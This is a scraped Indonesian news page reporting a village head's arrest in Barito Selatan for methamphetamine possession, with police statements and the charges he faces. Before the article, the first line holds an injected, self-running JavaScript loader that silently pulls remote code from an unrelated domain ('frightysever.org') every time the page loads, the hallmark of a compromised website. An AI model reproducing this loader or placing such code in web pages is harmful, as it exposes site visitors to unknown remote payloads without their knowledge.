(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Lantaran kedapatan memiliki narkoba jenis sabu, oknum Kades di Kecamatan Dusun Utara (Dusut) diamankan jajaran Unit Reskrim Polsek Dusel, di jalan Keladan gang Palapa VIII, Kamis (2/7/2020) pukul 18:22 WIB.
Kapolres Barsel AKBP Devy Firmansyah melalui Kapolsek Dusel Iptu Ahmad Wira Wisudawan mengatakan, tadi malam berhasil mengamankan seorang oknum Kades berinisial IY (43) yang memiliki satu paket narkoba jenis sabu. Ia mengatakan, unit Reskrim Polsek Dusel mendapatkan informasi dari masyarakat tentang adanya transaksi narkotika, di jalan Kaladan Gang Palapa VIII.
Dari informasi tersebut, Reskrim Polsek Dusel dipimpin langsung Kapolsek Dusel Iptu Wira, saat tiba di TKP menemukan tersangka IY yang tertangkap tangan melakukan tindak pidana memiliki menguasai menyediakan atau sebagai perantara jual beli sabu. “Jadi tersangka tertangkap tangan sedang memiliki sabu sebanyak satu paket saat kita melakukan penyergapan di TKP,” beber Iptu Wira kepada Kanalkalimantan.com, di kantornya Jumat (3/7/2020).
Ia mengatakan, saat proses penyergapan pelaku sempat membuang barang bukti berupa plastik klip kecil sabu. Tapi aksinya diketahui petugas. “Sehingga dengan disaksikan oleh Ketua RT dan warga sekitar, pelaku tidak bisa berkilah lagi walaupun sempat tidak mengakui barang yang ditemukan adalah miliknya. Saat dilakukan penggeledahan dalam tas ransel milik pelaku juga didapati sedotan plastik putih yang di dalamnya masih ada plastik klip bening bekas sabu,” tutur Iptu Wira.
Saat ini tersangka beserta barang bukti sudah di amankan di Mapolsek Dusel, untuk melakukan penyelidikan lebih lanjut serta mempertanggung jawabkan perbuatannya. “Tanpa hak memiliki menguasai menyediakan atau sebagai perantara jual beli narkotika golongan I jenis shabu sebagaimana dimaksud dalam pasal 112 ayat (1) atau pasal 114 ayat (1) uu no.35 tahun 2009, tentang narkotika, dengan ancaman hukuman paling singkat 4 tahun dan paling lama 12 tahun yang akan dikenakan pasal sementara kepada pelaku,” tandas Wira. (kanalkalimantan.com/digdo)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.